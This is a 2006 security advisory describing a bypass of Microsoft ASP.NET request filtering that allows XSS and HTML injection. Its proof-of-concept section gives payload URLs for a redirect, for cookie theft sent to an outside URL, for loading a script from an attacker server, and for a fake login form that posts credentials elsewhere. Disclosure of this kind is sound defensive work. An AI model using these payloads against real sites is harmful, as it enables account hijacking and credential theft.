Microsoft .NET request filtering bypass vulnerability (BID 20753)
FYI,
The following are the technical details for the Microsoft .NET request
filtering bypass vulnerability (BID 20753):
ProCheckUp Security Bulletin
This advisory has been published following consultation with UK CPNI (formally
known as NISCC)
Title: Microsoft ASP.NET request filtering can be bypassed allowing XSS and
HTML injection attacks
CERT: None
Date found: 7 July, 2006
The following client/server environment was tested and found vulnerable:
- Microsoft Windows Server 2003 Standard Edition Build
3790.srv03_sp1_rtm.050324-1447 Service Pack 1
- Microsoft IIS 6.0
- Microsoft ASP .NET Framework Version 2.0.50727.42
- Microsoft Internet Explorer 6.0.2900.2180.xpsp_sp2_gdr.050301-1519
- Microsoft Internet Explorer 7.0.5450.4 Beta 3
- Microsoft Internet Explorer 7.0.5730.11
Severity: Medium
Credits: request filtering bypass found by Richard Brain and further researched
by Jan Fry and Adrian Pastor
Vendor Status: N/A
CVE Candidate: Not assigned
Description:
By understanding how ASP .NET malicious request filtering functions, ProCheckUp
has found that it is possible to bypass ASP .NET request filtering and perform
XSS and HTML injection attacks.
It was possible to perform redirect, cookie theft, and unrestricted HTML
injection attacks against an ASP .NET application setup in a test environment.
ProCheckUp has also found this issue to be exploitable while carrying out
penetration tests on several customer's live environments.
Notes:
In order to exploit this flaw, an attacker would need to target a .NET
server-side application which does not sanitize input parameters properly
before being returned back to the web browser.
Proof of concept:
In the following examples 'vuln-search.aspx' is a script that solely relies on
ASP .NET request filtering, and returns user-supplied input back to the browser.
Alert box injection - simply provided for testing purposes (may cause DoS
issues on Internet Explorer)
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
Redirection Attack
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com";)>
Cookie stealing
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/cookiemonster.php?sid="%2bdocument.cookie)>
Unrestricted HTML injection from external '.js' file
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:expression(myScript=document.body.appendChild(document.createElement("script")))></XSS/*-*/STYLE=xss:expression(myScript.setAttribute("src","http://attackerserver/xss.js";))>
where 'xss.js' could contain a snippet that overwrites the entire document's
HTML body. i.e.:
document.body.innerHTML = '<b>since we can now insert brakets without having to
escape the request filtering, we\'re free to insert any HTML tags</b></br><form
name="myform" action="http://www.procheckup.com";><input type="text"
name="login"><br/><input type="password" name="password"></br><input
type="submit" value="Login"></form>';myform.login.focus();
Consequences:
Attackers can hijack user accounts through XSS and HTML injection attacks
against vulnerable applications that solely rely on ASP .NET request filtering.
Fix:
Do not rely on ASP .NET filtering protection, sanitize all input parameters on
server side applications. Follow a whitelisting approach when performing input
filtering.
References:
http://www.procheckup.com/Vulner_PR0703.php
http://www.securityfocus.com/bid/20753/
http://www.cpni.gov.uk/docs/re-20061020-00710.pdf
http://www.owasp.org/index.php/Category:OWASP_.NET_Project
Legal:
Copyright 2007 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet
community for the purpose of alerting them to problems, if and only if, the
Bulletin is not edited or changed in any way, is attributed to Procheckup, and
provided such reproduction and/or distribution is performed for non-commercial
purposes.
Any other use of this information is prohibited. Procheckup is not liable for
any misuse of this information by any third party.